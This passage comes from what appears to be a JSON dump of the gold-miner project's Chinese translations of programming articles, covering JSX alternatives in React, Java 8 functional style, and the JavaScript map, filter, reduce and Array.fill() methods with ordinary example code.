贡献者、存储系统爱好者。在过去的几年，他一直致力于数据库，为各个公司建立分布式系统和数据处理管道。\n\n> 本文英文原文 PDF 文件：[下载地址](https://dl.acm.org/ft_gateway.cfm?id=3220266&ftid=1967080&dwn=1)\n\nCopyright © 2018 held by owner/author. Publication rights licensed to ACM.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/alternatives-to-jsx.md",
    "content": "> * 原文地址：[Alternatives to JSX](https://blog.bloomca.me/2019/02/23/alternatives-to-jsx.html)\n> * 原文作者：[Seva Zaikov](https://blog.bloomca.me/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/alternatives-to-jsx.md](https://github.com/xitu/gold-miner/blob/master/TODO1/alternatives-to-jsx.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[xionglong58](https://github.com/xionglong58)，[sunui](https://github.com/sunui)\n\n# JSX 的替代方案\n\n如今，JSX 已经是一个非常受欢迎的框架模版了，它的应用也不仅仅局限于 React（或其他 JSX 衍生模版）。但是，如果你并不喜欢它，或者有某些想要避免使用它的项目，或者只是好奇不使用 JSX 该如何书写 React 代码的时候，该怎么办呢？最简单的方法就是去阅读[官方文档](https://reactjs.org/docs/react-without-jsx.html)，但是，官方文档很简短，而在本篇文章中我们为您提供了更多的选择。\n\n> 免责声明：个人来说，我很喜欢 JSX，在我所有的 React 项目中我都使用了它。但是，我对本文主题重新进行了调研，并且希望和你分享我的所见。\n\n## 什么是 JSX\n\n首先，我们需要明白什么是 JSX，这样我们才能在纯 JavaScript 中编写对应的代码。JSX 是一种[特定域编程语言](https://en.wikipedia.org/wiki/Domain-specific_language)，意味着我们需要将 JSX 代码转码，以便得到常规的 JavaScript，否则浏览器将无法解析代码。展望前景光明的未来，如果你想要使用 [modules](https://developers.google.com/web/fundamentals/primers/modules)，并且所有需要的功能都能被目标浏览器支持，你仍然不能完全丢弃转码这一步，这可能是一个问题。\n\n也许理解 JSX 将会被解析成什么最好的方法就是使用 [babel repl](https://babeljs.io/repl) 实际操作一次。你需要点击左侧面板的 `presets` 并且选择 `react`，这样解析器才能正确的解析代码。这之后，你就能在右侧实时看到编译生成的 JavaScript 代码。例如，你可以尝试下这段代码：\n\n```\nclass A extends React.Component {\n    render() {\n        return (\n            <div className={\"class\"} onclick={some}>\n                {\"something\"}\n                <div>something else</div>\n            </div>\n        )\n    }\n}\n```\n\n我的运行结果如下：\n\n```\nclass A extends React.Component {\n  render() {\n    return React.createElement(\"div\", {\n      className: \"class\",\n      onclick: some\n    }, \"something\", React.createElement(\"div\", null, \"something else\"));\n  }\n}\n```\n\n可以看到，每个 `<%tag%>` 结构都被替换成了函数 [React.createElement](https://reactjs.org/docs/react-api.html#createelement)。第一个参数是 react 组件或者内建标签名字符串（比如 `div` 或 `span`），第二个参数则是组件属性，其他的参数则都被视作组件的子元素。\n\n我强烈推荐你使用不同结构的组件树反复尝试，来观察 React 如何渲染值为 `true`、`false`、数组、或者组件等的属性：即使你只尝试使用 JSX 和一些其他内容的代码，它也很有帮助。\n\n> 如果你想深入学习 JSX，可以参考[官方文档](https://reactjs.org/docs/jsx-in-depth.html)\n\n## 重命名\n\n由于编译结果是固定的，我们其实也可以将所有的 React 代码直接以这种形式写出，但是其实这种方式存在一些问题。\n\n第一个问题就是非常繁琐。**真的**相当繁琐，而罪魁祸首就是 `React.createElement`。所以这个问题的解决方案就是将它简写为一个变量，按照 [hyperscript](https://github.com/hyperhype/hyperscript) 的方式命名为 `h`。这种方式能节省很多代码量，并且可读性也更强。下面我们来重写上面的代码，以便说明：\n\n```\nconst h = React.createElement;\nclass A extends React.Component {\n  render() {\n    return h(\n      \"div\",\n      {\n        className: \"class\",\n        onclick: some\n      },\n      \"something\",\n      h(\"div\", null, \"something else\")\n    );\n  }\n}\n```\n\n## Hyperscript\n\n如果 `React.createElement` 或者 `h` 你都已经尝试过了，你就可以看出它们都存在一些缺点。首先，函数需要三个参数，所以在没有属性的情况下，你还是必须传递 `null` 作为参数，同时，`className` 作为一个很常用的属性，在每次使用的时候都需要新建一个对象。\n\n作为一个替代方案，你可以使用 [react-hyperscript](https://github.com/mlmorg/react-hyperscript) 库。它不需要你提供空属性，并且允许你用点号的方式定义 class 和 id（`div#main.content` -> `<div id=\"main\" class=\"content\">`）。这样，你的代码能优化为：\n\n```\nclass A extends React.Component {\n  render() {\n    return h(\"div.class\", { onclick: some }, [\n      \"something\",\n      h(\"div\", \"something else\")\n    ]);\n  }\n}\n```\n\n## HTM\n\n如果你并不反感 JSX 本身，但是不喜欢必需的代码编译，那么你可以试试看 [htm](https://github.com/developit/htm) 这个项目。它的目标就是完成和 JSX 相同的事情（并且代码看上去也相同），但是使用的是[模版字符串](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)。它可能会带来一些开销（因为需要在运行时将模版解析），但是在某些情况下也许也是值得的。\n\n它的工作方式是将元素函数包裹起来，也就相当于前面例子中的 `React.createElement`，但是它支持任何其他具有类似 API 的库，同时仅在运行时编译模版并返回和 babel 编译结果一样的代码。\n\n```\nconst html = htm.bind(React.createElement);\nclass A extends React.Component {\n    render() {\n        return html`\n            <div className=${\"class\"} onclick=${some}>\n                ${\"something\"}\n                <div>something else</div>\n            </div>\n        `\n    }\n}\n```\n\n如你所见，结果**几乎**和 JSX 一样，只是我们需要以略微不同的方式插入变量；但是，大部分区别都是很细节的地方，如果你想要展示如何不使用任何构建工具来使用 React，这个工具就很方便。\n\n## 类 Lisp 语法\n\n它的核心思想和 hyperscript 很类似，但它采用了一个很优雅的方式，值得一看。现如今，有很多类似的帮助库，所以到底选择哪个也因人而异；而它们都有可能能给你的项目带来些灵感。\n\n[ijk](https://github.com/lukejacksonn/ijk) 这个库的思路是只用数组来写模版，并将位置作为参数。这样写的优势在于你不需要总是写 `h`（是的，有时候总写 `h` 也会让人觉得很冗余！）。如下是一个使用案例：\n\n```\nfunction render(structure) {\n  return h('nodeName', 'attributes', 'children')(structure)\n}\nclass A extends React.Component {\n  render() {\n    return render([\n      'div', { className: 'class', onClick, some}, [\n        'something',\n        ['div', 'something else']\n      ]]);\n  }\n}\n```\n\n## 总结\n\n这篇文章并不是建议你不使用 JSX，也不是说 JSX 有什么不好。但是你可能会好奇如果不用它，你要怎么写代码，还有你的代码可能会是什么样子，本文的目的就只是回答了这个问题。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-easier-path-to-functional-programming-in-java.md",
    "content": "> * 原文地址：[An easier path to functional programming in Java](https://www.ibm.com/developerworks/library/j-java8idioms1/)\n> * 原文作者：[Venkat Subramaniam](https://developer.ibm.com/author/venkats/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-easier-path-to-functional-programming-in-java.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-easier-path-to-functional-programming-in-java.md)\n> * 译者：[maoqyhz](https://github.com/maoqyhz)\n> * 校对者：[satansk](https://github.com/satansk)、[lihanxiang](https://github.com/lihanxiang)\n\n# 通往 Java 函数式编程的捷径\n\n## 以声明式的思想在你的 Java 程序中使用函数式编程技术\n\nJava™ 开发人员习惯于面向命令式和面向对象的编程，因为这些特性自 Java 语言首次发布以来一直受到支持。在 Java 8 中，我们获得了一组新的强大的函数式特性和语法。函数式编程已经存在了数十年，与面向对象编程相比，函数式编程通常更加简洁和达意，不易出错，并且更易于并行化。所以有很好的理由将函数式编程特性引入到 Java 程序中。尽管如此，在使用函数式特性进行编程时，就如何设计你的代码这一点上需要进行一些改变。\n\n**关于本文**\n\nJava 8 是 Java 语言自诞生以来最重要的更新，它包含如此多的新特性，以至于你可能想知道应该从哪开始了解它。在本系列中，身为作家和教育家的 Venkat Subramaniam 提供了一种符合 Java 语言习惯的 Java 8 学习方式。邀请你进行简短的探索后，重新思考你认为理所当然的 Java 一贯用法和规范，同时逐渐将新技术和语法集成到你的程序中去。\n\n我认为，以声明式的思想而不是命令式的思想来编程，可以更加轻松地向更加函数化的编程风格过渡。在 [_Java 8 idioms_ series](http://www.ibm.com/developerworks/library/?series_title_by=Java+8+idioms) 这个系列的第一篇文章中，我解释了命令式、声明式和函数式编程风格之间的异同。然后，我将向你展示如何使用声明式的思想逐渐将函数式编程技术集成到你的 Java 程序中。\n\n## 命令式风格（面向过程）\n\n受命令式编程风格训练的开发者习惯于告诉程序需要做什么以及如何去做。这里是一个简单的例子：\n\n<h5 id=\"listing1\">清单 1. 以命令式风格编写的 findNemo 方法</h5>\n\n```\nimport java.util.*;\n\npublic class FindNemo {\n  public static void main(String[] args) {\n    List<String> names = \n      Arrays.asList(\"Dory\", \"Gill\", \"Bruce\", \"Nemo\", \"Darla\", \"Marlin\", \"Jacques\");\n\n    findNemo(names);\n  }                 \n  \n  public static void findNemo(List<String> names) {\n    boolean found = false;\n    for(String name : names) {\n      if(name.equals(\"Nemo\")) {\n        found = true;\n        break;\n      }\n    }\n    \n    if(found)\n      System.out.println(\"Found Nemo\");\n    else\n      System.out.println(\"Sorry, Nemo not found\");\n  }\n}\n```\n\n方法 `findNemo()` 首先初始化一个可变变量 **flag**，也称为垃圾变量（garbage variable）。开发者经常会给予某些变量一个临时性的名字，例如 `f`、`t`、`temp` 以表明它们根本不应该存在。在本例中，这些变量应该被命名为 `found`。\n\n接下来，程序会循环遍历给定的 `names` 列表，每次都会判断当前遍历的值是否和待匹配值相同。在这个例子中，待匹配值为 `Nemo`，如果遍历到的值匹配，程序会将标志位设为 `true`，并执行流程控制语句 \"break\" 跳出循环。\n\n这是对于广大 Java 开发者最熟悉的编程风格 —— 命令式风格的程序，因此你可以定义程序的每一步：你告诉程序遍历每一个元素，和待匹配值进行比较，设置标志位，以及跳出循环。命令式编程风格让你可以完全控制程序，有的时候这是一件好事。但是，换个角度来看，你做了很多机器可以独立完成的工作，这势必导致生产力下降。因此，有的时候，你可以通过少做事来提高生产力。\n\n## 声明式风格\n\n声明式编程意味着你仍然需要告诉程序需要做什么，但是你可以将实现细节留给底层函数库。让我们看看使用声明式编程风格重写[清单 1](#listing1) 中的 `findNemo` 方法时会发生什么：\n\n##### 清单 2. 以声明式风格编写的 findNemo 方法\n\n```\npublic static void findNemo(List<String> names) {\n  if(names.contains(\"Nemo\"))\n    System.out.println(\"Found Nemo\");\n  else\n    System.out.println(\"Sorry, Nemo not found\");\n}\n```\n\n首先需要注意的是，此版本中没有任何垃圾变量。你也不需要在遍历集合中浪费精力。相反，你只需要使用内建的 `contains()` 方法来完成这项工作。你仍然要告诉程序需要做什么，集合中是否包含我们正在寻找的值，但此时你已经将细节交给底层的方法来实现了。 \n\n在命令式编程风格的例子中，你控制了遍历的流程，程序可以完全按照指令进行；在声明式的例子中，只要程序能够完成工作，你完全不需要关注它是如何工作的。`contains()` 方法的实现可能会有所不同，但只要结果符合你的期望，你就会对此感到满意。更少的工作能够得到相同的结果。\n\n训练自己以声明式的编程风格来进行思考将更加轻松地向更加函数化的编程风格过渡。原因在于，函数式编程风格是建立在声明式风格之上的。声明式风格的思维可以让你逐渐从命令式编程转换到函数式编程。\n\n## 函数式编程风格\n\n虽然函数式风格的编程总是声明式的，但是简单地使用声明式风格编程并不等同与函数式编程。这是因为函数式编程时将声明式编程和高阶函数结合在了一起。图 1 显示了命令式，声明式和函数式编程风格之间的关系。\n\n##### 图 1. 命令式、声明式和函数式编程风格之间的关系\n\n![A logic diagram showing how the imperative, declarative, and functional programming styles differ and overlap.](https://www.ibm.com/developerworks/library/j-java8idioms1/fig1.png)\n\n### Java 中的高阶函数\n\n在 Java 中，你可以将对象传递给方法，在方法中创建对象，也可以从方法中返回对象。同时你也可以用函数做相同的事情。也就是说，你可以将函数传递给方法，在方法中创建函数，也可以从方法中返回函数。\n\n在这种情况下，**方法**是类的一部分（静态或实例），但是函数可以是方法的一部分，并且不能有意地与类或实例相关联。一个可以接收、创建、或者返回函数的方法或函数称之为**高阶函数**。\n\n## 一个函数式编程的例子\n\n采用新的编程风格需要改变你对程序的看法。这是一个从简单例子的练习开始，到构建更加复杂程序的过程。\n\n<h5 id=\"listing3\">清单 3. 命令式编程风格下的 Map</h5>\n\n```\nimport java.util.*;\n\npublic class UseMap {\n  public static void main(String[] args) {\n    Map<String, Integer> pageVisits = new HashMap<>();            \n    \n    String page = \"https://agiledeveloper.com\";\n    \n    incrementPageVisit(pageVisits, page);\n    incrementPageVisit(pageVisits, page);\n    \n    System.out.println(pageVisits.get(page));\n  }\n  \n  public static void incrementPageVisit(Map<String, Integer> pageVisits, String page) {\n    if(!pageVisits.containsKey(page)) {\n       pageVisits.put(page, 0);\n    }\n    \n    pageVisits.put(page, pageVisits.get(page) + 1);\n  }\n}\n```\n\n在[清单 3](#listing3) 中，`main()` 函数创建了一个 `HashMap` 来保存网站访问次数。同时，`incrementPageVisit()` 方法增加了每次访问给定页面的计数。我们将聚焦此方法。\n\n以命令式编程风格写的 `incrementPageVisit()` 方法：它的工作是为给定页面增加一个计数，并存储在 `Map` 中。该方法不知道给定页面是否已经有计数值，所以会先检查计数值是否存在，如果不存在，会为该页面插入一个值为\"0\"的计数值。然后再获取该计数值，递增它，并将新的计数值存储在 `Map` 中。\n\n以声明式的方式思考需要你将方法的设计从 \"how\" 转变到 \"what\"。当 `incrementPageVisit()` 方法被调用时，你需要将给定的页面计数值初始化为 1 或者计数值加 1。这就是 **what**。\n\n因为你是通过声明式编程的，那么下一步就是在 JDK 库中寻找可以完成这项工作且实现了 `Map` 接口的方法。换言之，你需要找到一个知道**如何**完成你指定任务的内建方法。\n\n事实证明 `merge()` 方法非常适合你的而目的。清单 4 使用新的声明式方法对[清单 3](#listing3) 中的 `incrementPageVisit()` 方法进行修改。但是，在这种情况下，你不仅仅只是选择更智能的方法来写出更具声明性风格的代码，因为 `merge()` 是一个更高阶的函数。所以说，新的代码实际上是一个体现函数式风格的很好的例子：\n\n<h5 id=\"listing4\">清单 4. 函数式编程风格下的 Map</h5>\n\n```\npublic static void incrementPageVisit(Map<String, Integer> pageVisits, String page) {\n    pageVisits.merge(page, 1, (oldValue, value) -> oldValue + value); \n}\n```\n\n在清单 4 中，`page` 作为第一个参数传递给 `merge()`：map 中键对应的值将会被更新。第二个参数作为初始值，**如果** `Map` 中不存在指定键的值，那么该值将会赋值给 `Map` 中键对应的值（在本例中为\"1\"）。第三个参数为一个 lambda 表达式，接受当前 `Map` 中键对应的值和该函数中第二个参数对应的值作为参数。lambda 表达式返回其参数的总和，实际上增加了计数值。（**编者注**：感谢 István Kovács 修正了代码错误）\n\n将[清单 4](#listing4) 的 `incrementPageVisit()` 方法中的单行代码与[清单 3](#listing3) 中的多行代码进行比较。虽然[清单 4](#listing4) 中的程序是函数式编程风格的一个例子，但通过声明性地思想去思考问题帮助能够我们实现飞跃。\n\n## 总结\n\n在 Java 程序中采用函数式编程技术和语法有很多好处：代码更简洁，更富有表现力，移动部分更少，实现并行化更容易，并且通常比面向对象的代码更易理解。 目前面临的挑战是，如何将你的思维从绝大多数开发人员所熟悉的命令式编程风格转变为以声明式的方式进行思考。\n\n虽然函数式编程并没有那么简单或直接，但是你可以学习专注于你希望程序**做什么**而不是**如何做**这件事，来取得巨大的飞跃。通过允许底层函数库管理执行，你将逐渐直观地了解用于构建函数式编程模块的高阶函数。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-illustrated-and-musical-guide-to-map-reduce-and-filter-array-methods.md",
    "content": "> * 原文地址：[An Illustrated (and Musical) Guide to Map, Reduce, and Filter Array Methods](https://css-tricks.com/an-illustrated-and-musical-guide-to-map-reduce-and-filter-array-methods/)\n> * 原文作者：[Una Kravets](https://css-tricks.com/author/unakravets/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-illustrated-and-musical-guide-to-map-reduce-and-filter-array-methods.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-illustrated-and-musical-guide-to-map-reduce-and-filter-array-methods.md)\n> * 译者：[熊贤仁](https://github.com/FrankXiong)\n> * 校对者：[Endone](https://github.com/Endone)、[Reaper622](https://github.com/Reaper622)\n\n# 图解 Map、Reduce 和 Filter 数组方法\n\nmap、reduce 和 filter 是三个非常实用的 JavaScript 数组方法，赋予了开发者四两拨千斤的能力。我们直接进入正题，看看如何使用（并记住）这些超级好用的方法！\n\n## Array.map()\n\n`Array.map()` 根据传递的转换函数，更新给定数组中的每个值，并返回一个相同长度的新数组。它接受一个回调函数作为参数，用以执行转换过程。\n\n```js\nlet newArray = oldArray.map((value, index, array) => {\n  ...\n});\n```\n\n> 一个帮助记住 map 的方法：Morph Array Piece-by-Piece（逐个改变数组）\n\n你可以使用 map 代替 for-each 循环，来遍历并对每个值应用转换函数。这个方法适用于当你想更新数组的同时保留原始值。它不会潜在地删除任何值（filter 方法会），也不会计算出一个新的输出（就像 reduce 那样）。map 允许你逐个改变数组。一起来看一个例子：\n\n```js\n[1, 4, 6, 14, 32, 78].map(val => val * 10)\n// the result is: [10, 40, 60, 140, 320, 780]\n```\n\n上面的例子中，我们使用一个初始数组（`[1, 4, 6, 14, 32, 78]`），映射每个值到它自己的十倍（`val * 10`）。结果是一个新数组，初始数组的每个值被这个等式转换：`[10, 40, 60, 140, 320, 780]`。\n\n![本节代码图解](https://css-tricks.com/wp-content/uploads/2019/03/arrays-01.png)\n\n\n## Array.filter()\n\n当我们想要过滤数组的值到另一个数组，新数组中的每个值都通过一个特定检查，`Array.filter()` 这个快捷实用的方法就派上用场了。\n\n类似搜索过滤器，filter 基于传递的参数来过滤出值。\n\n举个例子，假定有个数字数组，想要过滤出大于 10 的值，可以这样写：\n\n```js\n[1, 4, 6, 14, 32, 78].filter(val => val > 10)\n// the result is: [14, 32, 78]\n```\n\n如果在这个数组上使用 **map** 方法，比如在上面这个例子，会返回一个带有 `val > 10` 判断的和原始数组长度相同的数组，其中每个值都经过转换或者检查。如果原始值大于 10，会被转换为真值。就像这样：\n\n```js\n[1, 4, 6, 14, 32, 78].map(val => val > 10)\n// the result is: [false, false, false, true, true, true]\n```\n\n但是 filter 方法，**只**返回真值。因此如果所有值都执行指定的检查的话，结果的长度会小于等于原始数组。\n\n> 把 filter 想象成一个漏斗。部分混合物会从中穿过进入结果，而另一部分则会被留下并抛弃。\n\n![本节代码图解，演示了数字从漏斗上面进去，其中小部分从下面出来，并附上手写的代码](https://css-tricks.com/wp-content/uploads/2019/03/arrays-02.png)\n\n假设宠物训练学校有一个四只狗的小班，学校里的所有狗都会经过各种挑战，然后参加一个分级期末考试。我们用一个对象数组来表示这些狗狗：\n\n```js\nconst students = [\n  {\n    name: \"Boops\",\n    finalGrade: 80\n  },\n  {\n    name: \"Kitten\",\n    finalGrade: 45\n  },\n  {\n    name: \"Taco\",\n    finalGrade: 100\n  },\n  {\n    name: \"Lucy\",\n    finalGrade: 60\n  }\n]\n```\n\n如果狗狗们的期末考试成绩高于 70 分，它们会获得一个精美的证书；反之，它们就要去重修。为了知道证书打印的数量，要写一个方法来返回通过考试的狗狗。不必写循环来遍历数组的每个对象，我们可以用 `filter` 简化代码！\n\n```js\nconst passingDogs = students.filter((student) => {\n  return student.finalGrade >= 70\n})\n\n/*\npassingDogs = [\n  {\n    name: \"Boops\",\n    finalGrade: 80\n  },\n  {\n    name: \"Taco\",\n    finalGrade: 100\n  }\n]\n*/\n```\n\n你也看到了，Boops 和 Taco 是好狗狗（其实所有狗都很不错），它们取得了通过课程的成就证书！利用箭头函数的隐式返回特性，一行代码就能实现。因为只有一个参数，所以可以删掉箭头函数的括号：\n\n```js\nconst passingDogs = students.filter(student => student.finalGrade >= 70)\n\n/*\npassingDogs = [\n  {\n    name: \"Boops\",\n    finalGrade: 80\n  },\n  {\n    name: \"Taco\",\n    finalGrade: 100\n  }\n]\n*/\n```\n\n## Array.reduce()\n\n`reduce()` 方法接受一个数组作为输入值并返回一个值。这点挺有趣的。reduce 接受一个回调函数，回调函数参数包括一个累计器（数组每一段的累加值，它会[像雪球一样增长](https://css-tricks.com/understanding-the-almighty-reducer/)），当前值，和索引。reduce 也接受一个初始值作为第二个参数：\n\n```js\nlet finalVal = oldArray.reduce((accumulator, currentValue, currentIndex, array) => {\n  ...\n}), initalValue;\n```\n\n![本节代码图解，演示了用炖锅调制调料，并附上手写的代码](https://css-tricks.com/wp-content/uploads/2019/03/arrays-03.png)\n\n来写一个炒菜函数和一个作料清单：\n\n```js\n// our list of ingredients in an array\nconst ingredients = ['wine', 'tomato', 'onion', 'mushroom']\n\n// a cooking function\nconst cook = (ingredient) => {\n    return `cooked ${ingredient}`\n}\n```\n\n如果我们想要把这些作料做成一个调味汁（开玩笑的），用 `reduce()` 来归约！\n\n```js\nconst wineReduction = ingredients.reduce((sauce, item) => {\n  return sauce += cook(item) + ', '\n  }, '')\n\n// wineReduction = \"cooked wine, cooked tomato, cooked onion, cooked mushroom, \"\n```\n\n初始值（这个例子中的 `''`）很重要，它决定了第一个作料能够进行烹饪。这里输出的结果不太靠谱，自己炒菜时要当心。下面的例子就是我要说到的情况：\n\n```js\nconst wineReduction = ingredients.reduce((sauce, item) => {\n  return sauce += cook(item) + ', '\n  })\n\n// wineReduction = \"winecooked tomato, cooked onion, cooked mushroom, \"\n```\n\n最后，确保新字符串的末尾没有额外的空白，我们可以传递索引和数组来执行转换：\n\n```js\nconst wineReduction = ingredients.reduce((sauce, item, index, array) => {\n  sauce += cook(item)\n  if (index < array.length - 1) {\n        sauce += ', '\n        }\n        return sauce\n  }, '')\n\n// wineReduction = \"cooked wine, cooked tomato, cooked onion, cooked mushroom\"\n```\n\n可以用三目操作符、模板字符串和隐式返回，写的更简洁（一行搞定！）：\n\n```js\nconst wineReduction = ingredients.reduce((sauce, item, index, array) => {\n  return (index < array.length - 1) ? sauce += `${cook(item)}, ` : sauce += `${cook(item)}`\n}, '')\n\n// wineReduction = \"cooked wine, cooked tomato, cooked onion, cooked mushroom\"\n```\n\n> 记住这个方法的简单办法就是回想你怎么做调味汁：把多个作料归约到单个。\n\n## 和我一起唱起来！\n\n我想要用一首歌来结束这篇博文，给数组方法写了一个小调，来帮助你们记忆：\n\n[Video](https://youtu.be/-_YEbB_y3Mk)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-in-depth-exploration-of-the-array-fill-function.md",
    "content": "> * 原文地址：[An In-Depth Exploration of the Array.fill() Function](https://levelup.gitconnected.com/an-in-depth-exploration-of-the-array-fill-function-800155bf9dd)\n> * 原文作者：[Keith Dawson](https://medium.com/@keithvictordawson)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-in-depth-exploration-of-the-array-fill-function.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-in-depth-exploration-of-the-array-fill-function.md)\n> * 译者：[niayyy](https://github.com/niayyy-S)\n> * 校对者：[Siva](https://github.com/IAMSHENSH)、[Long Xiong](https://github.com/xionglong58)\n\n# 深入浅出 Array.fill() 函数\n\n![Photo by [Tracy Adams](https://unsplash.com/@tracycodes?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/javascript?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/6364/1*KWkWLwUxBxxLh6ZzXg0-8Q.jpeg)\n\n过去几年来，Javascript `Array` 全局对象添加了许多有用的函数，为开发人员编写 `Array` 相关代码时提供了更多选择。这些函数具有许多优点，最值得注意的是，过去，开发人必须自己实现复杂的逻辑才能来执行各种数组操作，而现在，所有这些新的函数淘汰了需要自己实现的函数。本文将探索有用的数组函数之一：[‘fill()’](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/fill) 函数。\n\n## 函数概述\n\n`fill()` 函数提供将数组中给定范围内的所有元素更改为特定值的功能。这个函数不但会直接修改原数组，还会返回修改后的新数组。因此要记住一件非常重要的事情，如果你选择使用 `fill()` 函数，而不先保存一个原数组深拷贝，将无法维护原数组。还值得指出的是，此函数不会更改原数组的长度。\n\n`fill()` 函数最多接收三个参数，第一个参数是**必须的**，第二个和第三个参数是**可选的**。第一个参数可以是任何期望的值，第二个和第三个参数的索引是从零开始的。如果这些参数中有一个负值，将会从数组的结尾开始计算，这意味着参数 `-3` 相当于数组的长度加上 `-3`（`Array.length + -3`）。\n\n第一个参数是 `value`。这个参数可以是任何值，将会用来把新数组的指定的范围填充为相同的值。第二个参数是 `start`。这个参数是填值范围的起始索引，且该范围**将会**包括 `start` 索引位。这个参数是可选的，未指定的话则默认为 `0`，也就是如果未指定这个参数的话将会从第一个值开始填充数组。第三个参数是 `end`。这个参数是填值范围的结尾索引，且该范围**将不**包括索引处的值。这个参数是可选的，未指定的话则默认为数组的长度值（`Array.length`），也就是如果未指定这个参数的话将会填充到数组的结尾。\n\n## 原始值\n\n这种情况覆盖了一般的函数行为，让我们看一些 `fill()` 函数在实际中如何工作的示例。下面的示例指定了原始参数 `value` 的情况：\n\n```js\nvar array = [1, 2, 3, 4, 5];\narray.fill(0);\n// array: [0, 0, 0, 0, 0]\n```\n\n`fill()` 函数传入参数 `0` 来进行调用。考虑到可选参数的默认值，这个函数调用相当于 `fill(0, 0, 5)`。这意味着指定值的填充范围为从头到尾包含整个数组。\n\n代码示例举例说明了前面提到的有关 `fill()` 函数如何不改变数组长度的内容。尽管没有明确填充范围的边界，但填充范围默认为数组的实际大小，这个函数用指定值填充数组中的每一项。\n\n## 原始值，正起始索引值\n\n下面示例演示了指定原始值参数 `value` 和正的 `start` 参数值的情况：\n\n```js\nvar array = [1, 2, 3, 4, 5];\narray.fill(0, 2);\n// array: [1, 2, 0, 0, 0]\n```\n\n`fill()` 函数传入参数 `0` 和 `2` 来进行调用，考虑到可选参数的默认值，这个函数调用相当于 